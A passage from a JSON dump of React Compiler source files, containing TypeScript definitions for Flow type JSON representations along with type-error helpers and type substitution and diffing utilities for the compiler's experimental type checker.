suppressionRange.disableComment.loc ?? null,\n        message: 'Found React rule suppression',\n      }),\n    );\n  }\n  return error;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/Entrypoint/index.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nexport * from './Gating';\nexport * from './Imports';\nexport * from './Options';\nexport * from './Pipeline';\nexport * from './Program';\nexport * from './Suppression';\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/Flood/FlowTypes.ts",
    "content": "/**\n * TypeScript definitions for Flow type JSON representations\n * Based on the output of /data/sandcastle/boxes/fbsource/fbcode/flow/src/typing/convertTypes.ml\n */\n\n// Base type for all Flow types with a kind field\nexport interface BaseFlowType {\n  kind: string;\n}\n\n// Type for representing polarity\nexport type Polarity = 'positive' | 'negative' | 'neutral';\n\n// Type for representing a name that might be null\nexport type OptionalName = string | null;\n\n// Open type\nexport interface OpenType extends BaseFlowType {\n  kind: 'Open';\n}\n\n// Def type\nexport interface DefType extends BaseFlowType {\n  kind: 'Def';\n  def: DefT;\n}\n\n// Eval type\nexport interface EvalType extends BaseFlowType {\n  kind: 'Eval';\n  type: FlowType;\n  destructor: Destructor;\n}\n\n// Generic type\nexport interface GenericType extends BaseFlowType {\n  kind: 'Generic';\n  name: string;\n  bound: FlowType;\n  no_infer: boolean;\n}\n\n// ThisInstance type\nexport interface ThisInstanceType extends BaseFlowType {\n  kind: 'ThisInstance';\n  instance: InstanceT;\n  is_this: boolean;\n  name: string;\n}\n\n// ThisTypeApp type\nexport interface ThisTypeAppType extends BaseFlowType {\n  kind: 'ThisTypeApp';\n  t1: FlowType;\n  t2: FlowType;\n  t_list?: Array<FlowType>;\n}\n\n// TypeApp type\nexport interface TypeAppType extends BaseFlowType {\n  kind: 'TypeApp';\n  type: FlowType;\n  targs: Array<FlowType>;\n  from_value: boolean;\n  use_desc: boolean;\n}\n\n// FunProto type\nexport interface FunProtoType extends BaseFlowType {\n  kind: 'FunProto';\n}\n\n// ObjProto type\nexport interface ObjProtoType extends BaseFlowType {\n  kind: 'ObjProto';\n}\n\n// NullProto type\nexport interface NullProtoType extends BaseFlowType {\n  kind: 'NullProto';\n}\n\n// FunProtoBind type\nexport interface FunProtoBindType extends BaseFlowType {\n  kind: 'FunProtoBind';\n}\n\n// Intersection type\nexport interface IntersectionType extends BaseFlowType {\n  kind: 'Intersection';\n  members: Array<FlowType>;\n}\n\n// Union type\nexport interface UnionType extends BaseFlowType {\n  kind: 'Union';\n  members: Array<FlowType>;\n}\n\n// Maybe type\nexport interface MaybeType extends BaseFlowType {\n  kind: 'Maybe';\n  type: FlowType;\n}\n\n// Optional type\nexport interface OptionalType extends BaseFlowType {\n  kind: 'Optional';\n  type: FlowType;\n  use_desc: boolean;\n}\n\n// Keys type\nexport interface KeysType extends BaseFlowType {\n  kind: 'Keys';\n  type: FlowType;\n}\n\n// Annot type\nexport interface AnnotType extends BaseFlowType {\n  kind: 'Annot';\n  type: FlowType;\n  use_desc: boolean;\n}\n\n// Opaque type\nexport interface OpaqueType extends BaseFlowType {\n  kind: 'Opaque';\n  opaquetype: {\n    opaque_id: string;\n    underlying_t: FlowType | null;\n    super_t: FlowType | null;\n    opaque_type_args: Array<{\n      name: string;\n      type: FlowType;\n      polarity: Polarity;\n    }>;\n    opaque_name: string;\n  };\n}\n\n// Namespace type\nexport interface NamespaceType extends BaseFlowType {\n  kind: 'Namespace';\n  namespace_symbol: {\n    symbol: string;\n  };\n  values_type: FlowType;\n  types_tmap: PropertyMap;\n}\n\n// Any type\nexport interface AnyType extends BaseFlowType {\n  kind: 'Any';\n}\n\n// StrUtil type\nexport interface StrUtilType extends BaseFlowType {\n  kind: 'StrUtil';\n  op: 'StrPrefix' | 'StrSuffix';\n  prefix?: string;\n  suffix?: string;\n  remainder?: FlowType;\n}\n\n// TypeParam definition\nexport interface TypeParam {\n  name: string;\n  bound: FlowType;\n  polarity: Polarity;\n  default: FlowType | null;\n}\n\n// EnumInfo types\nexport type EnumInfo = ConcreteEnum | AbstractEnum;\n\nexport interface ConcreteEnum {\n  kind: 'ConcreteEnum';\n  enum_name: string;\n  enum_id: string;\n  members: Array<string>;\n  representation_t: FlowType;\n  has_unknown_members: boolean;\n}\n\nexport interface AbstractEnum {\n  kind: 'AbstractEnum';\n  representation_t: FlowType;\n}\n\n// CanonicalRendersForm types\nexport type CanonicalRendersForm =\n  | InstrinsicRenders\n  | NominalRenders\n  | StructuralRenders\n  | DefaultRenders;\n\nexport interface InstrinsicRenders {\n  kind: 'InstrinsicRenders';\n  name: string;\n}\n\nexport interface NominalRenders {\n  kind: 'NominalRenders';\n  renders_id: string;\n  renders_name: string;\n  renders_super: FlowType;\n}\n\nexport interface StructuralRenders {\n  kind: 'StructuralRenders';\n  renders_variant: 'RendersNormal' | 'RendersMaybe' | 'RendersStar';\n  renders_structural_type: FlowType;\n}\n\nexport interface DefaultRenders {\n  kind: 'DefaultRenders';\n}\n\n// InstanceT definition\nexport interface InstanceT {\n  inst: InstType;\n  static: FlowType;\n  super: FlowType;\n  implements: Array<FlowType>;\n}\n\n// InstType definition\nexport interface InstType {\n  class_name: string | null;\n  class_id: string;\n  type_args: Array<{\n    name: string;\n    type: FlowType;\n    polarity: Polarity;\n  }>;\n  own_props: PropertyMap;\n  proto_props: PropertyMap;\n  call_t: null | {\n    id: number;\n    call: FlowType;\n  };\n}\n\n// DefT types\nexport type DefT =\n  | NumGeneralType\n  | StrGeneralType\n  | BoolGeneralType\n  | BigIntGeneralType\n  | EmptyType\n  | MixedType\n  | NullType\n  | VoidType\n  | SymbolType\n  | FunType\n  | ObjType\n  | ArrType\n  | ClassType\n  | InstanceType\n  | SingletonStrType\n  | NumericStrKeyType\n  | SingletonNumType\n  | SingletonBoolType\n  | SingletonBigIntType\n  | TypeType\n  | PolyType\n  | ReactAbstractComponentType\n  | RendersType\n  | EnumValueType\n  | EnumObjectType;\n\nexport interface NumGeneralType extends BaseFlowType {\n  kind: 'NumGeneral';\n}\n\nexport interface StrGeneralType extends BaseFlowType {\n  kind: 'StrGeneral';\n}\n\nexport interface BoolGeneralType extends BaseFlowType {\n  kind: 'BoolGeneral';\n}\n\nexport interface BigIntGeneralType extends BaseFlowType {\n  kind: 'BigIntGeneral';\n}\n\nexport interface EmptyType extends BaseFlowType {\n  kind: 'Empty';\n}\n\nexport interface MixedType extends BaseFlowType {\n  kind: 'Mixed';\n}\n\nexport interface NullType extends BaseFlowType {\n  kind: 'Null';\n}\n\nexport interface VoidType extends BaseFlowType {\n  kind: 'Void';\n}\n\nexport interface SymbolType extends BaseFlowType {\n  kind: 'Symbol';\n}\n\nexport interface FunType extends BaseFlowType {\n  kind: 'Fun';\n  static: FlowType;\n  funtype: FunTypeObj;\n}\n\nexport interface ObjType extends BaseFlowType {\n  kind: 'Obj';\n  objtype: ObjTypeObj;\n}\n\nexport interface ArrType extends BaseFlowType {\n  kind: 'Arr';\n  arrtype: ArrTypeObj;\n}\n\nexport interface ClassType extends BaseFlowType {\n  kind: 'Class';\n  type: FlowType;\n}\n\nexport interface InstanceType extends BaseFlowType {\n  kind: 'Instance';\n  instance: InstanceT;\n}\n\nexport interface SingletonStrType extends BaseFlowType {\n  kind: 'SingletonStr';\n  from_annot: boolean;\n  value: string;\n}\n\nexport interface NumericStrKeyType extends BaseFlowType {\n  kind: 'NumericStrKey';\n  number: string;\n  string: string;\n}\n\nexport interface SingletonNumType extends BaseFlowType {\n  kind: 'SingletonNum';\n  from_annot: boolean;\n  number: string;\n  string: string;\n}\n\nexport interface SingletonBoolType extends BaseFlowType {\n  kind: 'SingletonBool';\n  from_annot: boolean;\n  value: boolean;\n}\n\nexport interface SingletonBigIntType extends BaseFlowType {\n  kind: 'SingletonBigInt';\n  from_annot: boolean;\n  value: string;\n}\n\nexport interface TypeType extends BaseFlowType {\n  kind: 'Type';\n  type_kind: TypeTKind;\n  type: FlowType;\n}\n\nexport type TypeTKind =\n  | 'TypeAliasKind'\n  | 'TypeParamKind'\n  | 'OpaqueKind'\n  | 'ImportTypeofKind'\n  | 'ImportClassKind'\n  | 'ImportEnumKind'\n  | 'InstanceKind'\n  | 'RenderTypeKind';\n\nexport interface PolyType extends BaseFlowType {\n  kind: 'Poly';\n  tparams: Array<TypeParam>;\n  t_out: FlowType;\n  id: string;\n}\n\nexport interface ReactAbstractComponentType extends BaseFlowType {\n  kind: 'ReactAbstractComponent';\n  config: FlowType;\n  renders: FlowType;\n  instance: ComponentInstance;\n  component_kind: ComponentKind;\n}\n\nexport type ComponentInstance =\n  | {kind: 'RefSetterProp'; type: FlowType}\n  | {kind: 'Omitted'};\n\nexport type ComponentKind =\n  | {kind: 'Structural'}\n  | {kind: 'Nominal'; id: string; name: string; types: Array<FlowType> | null};\n\nexport interface RendersType extends BaseFlowType {\n  kind: 'Renders';\n  form: CanonicalRendersForm;\n}\n\nexport interface EnumValueType extends BaseFlowType {\n  kind: 'EnumValue';\n  enum_info: EnumInfo;\n}\n\nexport interface EnumObjectType extends BaseFlowType {\n  kind: 'EnumObject';\n  enum_value_t: FlowType;\n  enum_info: EnumInfo;\n}\n\n// ObjKind types\nexport type ObjKind =\n  | {kind: 'Exact'}\n  | {kind: 'Inexact'}\n  | {kind: 'Indexed'; dicttype: DictType};\n\n// DictType definition\nexport interface DictType {\n  dict_name: string | null;\n  key: FlowType;\n  value: FlowType;\n  dict_polarity: Polarity;\n}\n\n// ArrType types\nexport type ArrTypeObj = ArrayAT | TupleAT | ROArrayAT;\n\nexport interface ArrayAT {\n  kind: 'ArrayAT';\n  elem_t: FlowType;\n}\n\nexport interface TupleAT {\n  kind: 'TupleAT';\n  elem_t: FlowType;\n  elements: Array<TupleElement>;\n  min_arity: number;\n  max_arity: number;\n  inexact: boolean;\n}\n\nexport interface ROArrayAT {\n  kind: 'ROArrayAT';\n  elem_t: FlowType;\n}\n\n// TupleElement definition\nexport interface TupleElement {\n  name: string | null;\n  t: FlowType;\n  polarity: Polarity;\n  optional: boolean;\n}\n\n// Flags definition\nexport interface Flags {\n  obj_kind: ObjKind;\n}\n\n// Property types\nexport type Property =\n  | FieldProperty\n  | GetProperty\n  | SetProperty\n  | GetSetProperty\n  | MethodProperty;\n\nexport interface FieldProperty {\n  kind: 'Field';\n  type: FlowType;\n  polarity: Polarity;\n}\n\nexport interface GetProperty {\n  kind: 'Get';\n  type: FlowType;\n}\n\nexport interface SetProperty {\n  kind: 'Set';\n  type: FlowType;\n}\n\nexport interface GetSetProperty {\n  kind: 'GetSet';\n  get_type: FlowType;\n  set_type: FlowType;\n}\n\nexport interface MethodProperty {\n  kind: 'Method';\n  type: FlowType;\n}\n\n// PropertyMap definition\nexport interface PropertyMap {\n  [key: string]: Property; // For other properties in the map\n}\n\n// ObjType definition\nexport interface ObjTypeObj {\n  flags: Flags;\n  props: PropertyMap;\n  proto_t: FlowType;\n  call_t: number | null;\n}\n\n// FunType definition\nexport interface FunTypeObj {\n  this_t: {\n    type: FlowType;\n    status: ThisStatus;\n  };\n  params: Array<{\n    name: string | null;\n    type: FlowType;\n  }>;\n  rest_param: null | {\n    name: string | null;\n    type: FlowType;\n  };\n  return_t: FlowType;\n  type_guard: null | {\n    inferred: boolean;\n    param_name: string;\n    type_guard: FlowType;\n    one_sided: boolean;\n  };\n  effect: Effect;\n}\n\n// ThisStatus types\nexport type ThisStatus =\n  | {kind: 'This_Method'; unbound: boolean}\n  | {kind: 'This_Function'};\n\n// Effect types\nexport type Effect =\n  | {kind: 'HookDecl'; id: string}\n  | {kind: 'HookAnnot'}\n  | {kind: 'ArbitraryEffect'}\n  | {kind: 'AnyEffect'};\n\n// Destructor types\nexport type Destructor =\n  | NonMaybeTypeDestructor\n  | PropertyTypeDestructor\n  | ElementTypeDestructor\n  | OptionalIndexedAccessNonMaybeTypeDestructor\n  | OptionalIndexedAccessResultTypeDestructor\n  | ExactTypeDestructor\n  | ReadOnlyTypeDestructor\n  | PartialTypeDestructor\n  | RequiredTypeDestructor\n  | SpreadTypeDestructor\n  | SpreadTupleTypeDestructor\n  | RestTypeDestructor\n  | ValuesTypeDestructor\n  | ConditionalTypeDestructor\n  | TypeMapDestructor\n  | ReactElementPropsTypeDestructor\n  | ReactElementConfigTypeDestructor\n  | ReactCheckComponentConfigDestructor\n  | ReactDRODestructor\n  | MakeHooklikeDestructor\n  | MappedTypeDestructor\n  | EnumTypeDestructor;\n\nexport interface NonMaybeTypeDestructor {\n  kind: 'NonMaybeType';\n}\n\nexport interface PropertyTypeDestructor {\n  kind: 'PropertyType';\n  name: string;\n}\n\nexport interface ElementTypeDestructor {\n  kind: 'ElementType';\n  index_type: FlowType;\n}\n\nexport interface OptionalIndexedAccessNonMaybeTypeDestructor {\n  kind: 'OptionalIndexedAccessNonMaybeType';\n  index: OptionalIndexedAccessIndex;\n}\n\nexport type OptionalIndexedAccessIndex =\n  | {kind: 'StrLitIndex'; name: string}\n  | {kind: 'TypeIndex'; type: FlowType};\n\nexport interface OptionalIndexedAccessResultTypeDestructor {\n  kind: 'OptionalIndexedAccessResultType';\n}\n\nexport interface ExactTypeDestructor {\n  kind: 'ExactType';\n}\n\nexport interface ReadOnlyTypeDestructor {\n  kind: 'ReadOnlyType';\n}\n\nexport interface PartialTypeDestructor {\n  kind: 'PartialType';\n}\n\nexport interface RequiredTypeDestructor {\n  kind: 'RequiredType';\n}\n\nexport interface SpreadTypeDestructor {\n  kind: 'SpreadType';\n  target: SpreadTarget;\n  operands: Array<SpreadOperand>;\n  operand_slice: Slice | null;\n}\n\nexport type SpreadTarget =\n  | {kind: 'Value'; make_seal: 'Sealed' | 'Frozen' | 'As_Const'}\n  | {kind: 'Annot'; make_exact: boolean};\n\nexport type SpreadOperand = {kind: 'Type'; type: FlowType} | Slice;\n\nexport interface Slice {\n  kind: 'Slice';\n  prop_map: PropertyMap;\n  generics: Array<string>;\n  dict: DictType | null;\n  reachable_targs: Array<{\n    type: FlowType;\n    polarity: Polarity;\n  }>;\n}\n\nexport interface SpreadTupleTypeDestructor {\n  kind: 'SpreadTupleType';\n  inexact: boolean;\n  resolved_rev: string;\n  unresolved: string;\n}\n\nexport interface RestTypeDestructor {\n  kind: 'RestType';\n  merge_mode: RestMergeMode;\n  type: FlowType;\n}\n\nexport type RestMergeMode =\n  | {kind: 'SpreadReversal'}\n  | {kind: 'ReactConfigMerge'; polarity: Polarity}\n  | {kind: 'Omit'};\n\nexport interface ValuesTypeDestructor {\n  kind: 'ValuesType';\n}\n\nexport interface ConditionalTypeDestructor {\n  kind: 'ConditionalType';\n  distributive_tparam_name: string | null;\n  infer_tparams: string;\n  extends_t: FlowType;\n  true_t: FlowType;\n  false_t: FlowType;\n}\n\nexport interface TypeMapDestructor {\n  kind: 'ObjectKeyMirror';\n}\n\nexport interface ReactElementPropsTypeDestructor {\n  kind: 'ReactElementPropsType';\n}\n\nexport interface ReactElementConfigTypeDestructor {\n  kind: 'ReactElementConfigType';\n}\n\nexport interface ReactCheckComponentConfigDestructor {\n  kind: 'ReactCheckComponentConfig';\n  props: {\n    [key: string]: Property;\n  };\n}\n\nexport interface ReactDRODestructor {\n  kind: 'ReactDRO';\n  dro_type:\n    | 'HookReturn'\n    | 'HookArg'\n    | 'Props'\n    | 'ImmutableAnnot'\n    | 'DebugAnnot';\n}\n\nexport interface MakeHooklikeDestructor {\n  kind: 'MakeHooklike';\n}\n\nexport interface MappedTypeDestructor {\n  kind: 'MappedType';\n  homomorphic: Homomorphic;\n  distributive_tparam_name: string | null;\n  property_type: FlowType;\n  mapped_type_flags: {\n    variance: Polarity;\n    optional: 'MakeOptional' | 'RemoveOptional' | 'KeepOptionality';\n  };\n}\n\nexport type Homomorphic =\n  | {kind: 'Homomorphic'}\n  | {kind: 'Unspecialized'}\n  | {kind: 'SemiHomomorphic'; type: FlowType};\n\nexport interface EnumTypeDestructor {\n  kind: 'EnumType';\n}\n\n// Union of all possible Flow types\nexport type FlowType =\n  | OpenType\n  | DefType\n  | EvalType\n  | GenericType\n  | ThisInstanceType\n  | ThisTypeAppType\n  | TypeAppType\n  | FunProtoType\n  | ObjProtoType\n  | NullProtoType\n  | FunProtoBindType\n  | IntersectionType\n  | UnionType\n  | MaybeType\n  | OptionalType\n  | KeysType\n  | AnnotType\n  | OpaqueType\n  | NamespaceType\n  | AnyType\n  | StrUtilType;\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/Flood/TypeErrors.ts",
    "content": "import {CompilerError, SourceLocation} from '..';\nimport {\n  ConcreteType,\n  printConcrete,\n  printType,\n  StructuralValue,\n  Type,\n  VariableId,\n} from './Types';\n\nexport function unsupportedLanguageFeature(\n  desc: string,\n  loc: SourceLocation,\n): never {\n  CompilerError.throwInvalidJS({\n    reason: `Typedchecker does not currently support language feature: ${desc}`,\n    loc,\n  });\n}\n\nexport type UnificationError =\n  | {\n      kind: 'TypeUnification';\n      left: ConcreteType<Type>;\n      right: ConcreteType<Type>;\n    }\n  | {\n      kind: 'StructuralUnification';\n      left: StructuralValue;\n      right: ConcreteType<Type>;\n    };\n\nfunction printUnificationError(err: UnificationError): string {\n  if (err.kind === 'TypeUnification') {\n    return `${printConcrete(err.left, printType)} is incompatible with ${printConcrete(err.right, printType)}`;\n  } else {\n    return `structural ${err.left.kind} is incompatible with ${printConcrete(err.right, printType)}`;\n  }\n}\n\nexport function raiseUnificationErrors(\n  errs: null | Array<UnificationError>,\n  loc: SourceLocation,\n): void {\n  if (errs != null) {\n    if (errs.length === 0) {\n      CompilerError.invariant(false, {\n        reason: 'Should not have array of zero errors',\n        loc,\n      });\n    } else if (errs.length === 1) {\n      CompilerError.throwInvalidJS({\n        reason: `Unable to unify types because ${printUnificationError(errs[0])}`,\n        loc,\n      });\n    } else {\n      const messages = errs\n        .map(err => `\\t* ${printUnificationError(err)}`)\n        .join('\\n');\n      CompilerError.throwInvalidJS({\n        reason: `Unable to unify types because:\\n${messages}`,\n        loc,\n      });\n    }\n  }\n}\n\nexport function unresolvableTypeVariable(\n  id: VariableId,\n  loc: SourceLocation,\n): never {\n  CompilerError.throwInvalidJS({\n    reason: `Unable to resolve free variable ${id} to a concrete type`,\n    loc,\n  });\n}\n\nexport function cannotAddVoid(explicit: boolean, loc: SourceLocation): never {\n  if (explicit) {\n    CompilerError.throwInvalidJS({\n      reason: `Undefined is not a valid operand of \\`+\\``,\n      loc,\n    });\n  } else {\n    CompilerError.throwInvalidJS({\n      reason: `Value may be undefined, which is not a valid operand of \\`+\\``,\n      loc,\n    });\n  }\n}\n\nexport function unsupportedTypeAnnotation(\n  desc: string,\n  loc: SourceLocation,\n): never {\n  CompilerError.throwInvalidJS({\n    reason: `Typedchecker does not currently support type annotation: ${desc}`,\n    loc,\n  });\n}\n\nexport function checkTypeArgumentArity(\n  desc: string,\n  expected: number,\n  actual: number,\n  loc: SourceLocation,\n): void {\n  if (expected !== actual) {\n    CompilerError.throwInvalidJS({\n      reason: `Expected ${desc} to have ${expected} type parameters, got ${actual}`,\n      loc,\n    });\n  }\n}\n\nexport function notAFunction(desc: string, loc: SourceLocation): void {\n  CompilerError.throwInvalidJS({\n    reason: `Cannot call ${desc} because it is not a function`,\n    loc,\n  });\n}\n\nexport function notAPolymorphicFunction(\n  desc: string,\n  loc: SourceLocation,\n): void {\n  CompilerError.throwInvalidJS({\n    reason: `Cannot call ${desc} with type arguments because it is not a polymorphic function`,\n    loc,\n  });\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/Flood/TypeUtils.ts",
    "content": "import {GeneratedSource} from '../HIR';\nimport {assertExhaustive} from '../Utils/utils';\nimport {unsupportedLanguageFeature} from './TypeErrors';\nimport {\n  ConcreteType,\n  ResolvedType,\n  TypeParameter,\n  TypeParameterId,\n  DEBUG,\n  printConcrete,\n  printType,\n} from './Types';\n\nexport function substitute(\n  type: ConcreteType<ResolvedType>,\n  typeParameters: Array<TypeParameter<ResolvedType>>,\n  typeArguments: Array<ResolvedType>,\n): ResolvedType {\n  const substMap = new Map<TypeParameterId, ResolvedType>();\n  for (let i = 0; i < typeParameters.length; i++) {\n    // TODO: Length checks to make sure type params match up with args\n    const typeParameter = typeParameters[i];\n    const typeArgument = typeArguments[i];\n    substMap.set(typeParameter.id, typeArgument);\n  }\n  const substitutionFunction = (t: ResolvedType): ResolvedType => {\n    // TODO: We really want a stateful mapper or visitor here so that we can model nested polymorphic types\n    if (t.type.kind === 'Generic' && substMap.has(t.type.id)) {\n      const substitutedType = substMap.get(t.type.id)!;\n      return substitutedType;\n    }\n\n    return {\n      kind: 'Concrete',\n      type: mapType(substitutionFunction, t.type),\n      platform: t.platform,\n    };\n  };\n\n  const substituted = mapType(substitutionFunction, type);\n\n  if (DEBUG) {\n    let substs = '';\n    for (let i = 0; i < typeParameters.length; i++) {\n      const typeParameter = typeParameters[i];\n      const typeArgument = typeArguments[i];\n      substs += `[${typeParameter.name}${typeParameter.id} := ${printType(typeArgument)}]`;\n    }\n    console.log(\n      `${printConcrete(type, printType)}${substs} = ${printConcrete(substituted, printType)}`,\n    );\n  }\n\n  return {kind: 'Concrete', type: substituted, platform: /* TODO */ 'shared'};\n}\n\nexport function mapType<T, U>(\n  f: (t: T) => U,\n  type: ConcreteType<T>,\n): ConcreteType<U> {\n  switch (type.kind) {\n    case 'Mixed':\n    case 'Number':\n    case 'String':\n    case 'Boolean':\n    case 'Void':\n      return type;\n\n    case 'Nullable':\n      return {\n        kind: 'Nullable',\n        type: f(type.type),\n      };\n\n    case 'Array':\n      return {\n        kind: 'Array',\n        element: f(type.element),\n      };\n\n    case 'Set':\n      return {\n        kind: 'Set',\n        element: f(type.element),\n      };\n\n    case 'Map':\n      return {\n        kind: 'Map',\n        key: f(type.key),\n        value: f(type.value),\n      };\n\n    case 'Function':\n      return {\n        kind: 'Function',\n        typeParameters:\n          type.typeParameters?.map(param => ({\n            id: param.id,\n            name: param.name,\n            bound: f(param.bound),\n          })) ?? null,\n        params: type.params.map(f),\n        returnType: f(type.returnType),\n      };\n\n    case 'Component': {\n      return {\n        kind: 'Component',\n        children: type.children != null ? f(type.children) : null,\n        props: new Map([...type.props.entries()].map(([k, v]) => [k, f(v)])),\n      };\n    }\n\n    case 'Generic':\n      return {\n        kind: 'Generic',\n        id: type.id,\n        bound: f(type.bound),\n      };\n\n    case 'Object':\n      return type;\n\n    case 'Tuple':\n      return {\n        kind: 'Tuple',\n        id: type.id,\n        members: type.members.map(f),\n      };\n\n    case 'Structural':\n      return type;\n\n    case 'Enum':\n    case 'Union':\n    case 'Instance':\n      unsupportedLanguageFeature(type.kind, GeneratedSource);\n\n    default:\n      assertExhaustive(type, 'Unknown type kind');\n  }\n}\n\nexport function diff<R, T>(\n  a: ConcreteType<T>,\n  b: ConcreteType<T>,\n  onChild: (a: T, b: T) => R,\n  onChildMismatch: (child: R, cur: R) => R,\n  onMismatch: (a: ConcreteType<T>, b: ConcreteType<T>, cur: R) => R,\n  init: R,\n): R {\n  let errors = init;\n\n  // Check if kinds match\n  if (a.kind !== b.kind) {\n    errors = onMismatch(a, b, errors);\n    return errors;\n  }\n\n  // Based on kind, check other properties\n  switch (a.kind) {\n    case 'Mixed':\n    case 'Number':\n    case 'String':\n    case 'Boolean':\n    case 'Void':\n      // Simple types, no further checks needed\n      break;\n\n    case 'Nullable':\n      // Check the nested type\n      errors = onChildMismatch(onChild(a.type, (b as typeof a).type), errors);\n      break;\n\n    case 'Array':\n    case 'Set':\n      // Check the element type\n      errors = onChildMismatch(\n        onChild(a.element, (b as typeof a).element),\n        errors,\n      );\n      break;\n\n    case 'Map':\n      // Check both key and value types\n      errors = onChildMismatch(onChild(a.key, (b as typeof a).key), errors);\n      errors = onChildMismatch(onChild(a.value, (b as typeof a).value), errors);\n      break;\n\n    case 'Function': {\n      const bFunc = b as typeof a;\n\n      // Check type parameters\n      if ((a.typeParameters == null) !== (bFunc.typeParameters == null)) {\n        errors = onMismatch(a, b, errors);\n      }\n\n      if (a.typeParameters != null && bFunc.typeParameters != null) {\n        if (a.typeParameters.length !== bFunc.typeParameters.length) {\n          errors = onMismatch(a, b, errors);\n        }\n\n        // Type parameters are just numbers, so we can compare them directly\n        for (let i = 0; i < a.typeParameters.length; i++) {\n          if (a.typeParameters[i] !== bFunc.typeParameters[i]) {\n            errors = onMismatch(a, b, errors);\n          }\n        }\n      }\n\n      // Check parameters\n      if (a.params.length !== bFunc.params.length) {\n        errors = onMismatch(a, b, errors);\n      }\n\n      for (let i = 0; i < a.params.length; i++) {\n        errors = onChildMismatch(onChild(a.params[i], bFunc.params[i]), errors);\n      }\n\n      // Check return type\n      errors = onChildMismatch(onChild(a.returnType, bFunc.returnType), errors);\n      break;\n    }\n\n    case 'Component': {\n      const bComp = b as typeof a;\n\n      // Check children\n      if (a.children !== bComp.children) {\n        errors = onMismatch(a, b, errors);\n      }\n\n      // Check props\n      if (a.props.size !== bComp.props.size) {\n        errors = onMismatch(a, b, errors);\n      }\n\n      for (const [k, v] of a.props) {\n        const bProp = bComp.props.get(k);\n        if (bProp == null) {\n          errors = onMismatch(a, b, errors);\n        } else {\n          errors = onChildMismatch(onChild(v, bProp), errors);\n        }\n      }\n\n      break;\n    }\n\n    case 'Generic': {\n      // Check that the type parameter IDs match\n      if (a.id !== (b as typeof a).id) {\n        errors = onMismatch(a, b, errors);\n      }\n      break;\n    }\n    case 'Structural': {\n      const bStruct = b as typeof a;\n\n      // Check that the structural IDs match\n      if (a.id !== bStruct.id) {\n        errors = onMismatch(a, b, errors);\n      }\n      break;\n    }\n    case 'Object': {\n      const bNom = b as typeof a;\n\n      // Check that the nominal IDs match\n      if (a.id !== bNom.id) {\n        errors = onMismatch(a, b, errors);\n      }\n      break;\n    }\n\n    case 'Tuple': {\n      const bTuple = b as typeof a;\n\n      // Check that the tuple IDs match\n      if (a.id !== bTuple.id) {\n        errors = onMismatch(a, b, errors);\n      }\n      for (let i = 0; i < a.members.length; i++) {\n        errors = onChildMismatch(\n          onChild(a.members[i], bTuple.members[i]),\n          errors,\n        );\n      }\n\n      break;\n    }\n\n    case 'Enum':\n    case 'Instance':\n    case 'Union': {\n      unsupportedLanguageFeature(a.kind, GeneratedSource);\n    }\n\n    default:\n      assertExhaustive(a, 'Unknown type kind');\n  }\n\n  return errors;\n}\n\nexport function filterOptional(t: ResolvedType): ResolvedType {\n  if (t.kind === 'Concrete' && t.type.kind === 'Nullable') {\n    return t.type.type;\n  }\n  return t;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/Flood/Types.ts",
    "content": "import {CompilerError, SourceLocation} from '..';\nimport {\n  Environment,\n  GeneratedSource,\n  HIRFunction,\n  Identifier,\n  IdentifierId,\n} from '../HIR';\nimport * as t from '@babel/types';\nimport * as TypeErrors from './TypeErrors';\nimport {assertExhaustive} from '../Utils/utils';\nimport {FlowType} from './FlowTypes';\n\nexport const DEBUG = false;\n\nexport type Type =\n  | {kind: 'Concrete'; type: ConcreteType<Type>; platform: Platform}\n  | {kind: 'Variable'; id: VariableId};\n\nexport type ResolvedType = {\n  kind: 'Concrete';\n  type: ConcreteType<ResolvedType>;\n  platform: Platform;\n};\n\nexport type ComponentType<T> = {\n  kind: 'Component';\n  props: Map<string, T>;\n  children: null | T;\n};\nexport type ConcreteType<T> =\n  | {kind: 'Enum'}\n  | {kind: 'Mixed'}\n  | {kind: 'Number'}\n  | {kind: 'String'}\n  | {kind: 'Boolean'}\n  | {kind: 'Void'}\n  | {kind: 'Nullable'; type: T}\n  | {kind: 'Array'; element: T}\n  | {kind: 'Set'; element: T}\n  | {kind: 'Map'; key: T; value: T}\n  | {\n      kind: 'Function';\n      typeParameters: null | Array<TypeParameter<T>>;\n      params: Array<T>;\n      returnType: T;\n    }\n  | ComponentType<T>\n  | {kind: 'Generic'; id: TypeParameterId; bound: T}\n  | {\n      kind: 'Object';\n      id: NominalId;\n      members: Map<string, ResolvedType>;\n    }\n  | {\n      kind: 'Tuple';\n      id: NominalId;\n      members: Array<T>;\n    }\n  | {kind: 'Structural'; id: LinearId}\n  | {kind: 'Union'; members: Array<T>}\n  | {kind: 'Instance'; name: string; members: Map<string, ResolvedType>};\n\nexport type StructuralValue =\n  | {\n      kind: 'Function';\n      fn: HIRFunction;\n    }\n  | {\n      kind: 'Object';\n      members: Map<string, ResolvedType>;\n    }\n  | {\n      kind: 'Array';\n      elementType: ResolvedType;\n    };\n\nexport type Structural = {\n  type: StructuralValue;\n  consumed: boolean;\n};\n// TODO: create a kind: \"Alias\"\n\n// type T<X> = { foo: X}\n\n/**\n *\n * function apply<A, B>(x: A, f: A => B): B { }\n *\n * apply(42, x => String(x));\n *\n * f({foo: 42})\n *\n * f([HOLE]) -----> {foo: 42} with context NominalType\n *\n * $0 = Object {foo: 42}\n * $1 = LoadLocal \"f\"\n * $2 = Call $1, [$0]\n *\n * ContextMap:\n *   $2 => ??\n *   $1 => [HOLE]($0)\n *   $0 => $1([HOLE])\n */\n\n/*\n *const g = {foo: 42} as NominalType // ok\n *\n *\n *function f(x: NominalType) { ... }\n *f()\n *\n *const y: NominalType = {foo: 42}\n *\n *\n */\n\n/**\n * // Mike: maybe this could be the ideal?\n *type X = nominal('registryNameX', {\n *value: number,\n *});\n *\n * // For now:\n *opaque type X = {   // creates a new nominal type\n *value: number,\n *};\n *\n *type Y = X; // creates a type alias\n *\n *type Z = number; // creates a type alias\n *\n *\n * // (todo: disallowed)\n *type X' = {\n *value: number,\n *}\n */\n\nexport type TypeParameter<T> = {\n  name: string;\n  id: TypeParameterId;\n  bound: T;\n};\n\nconst opaqueLinearId = 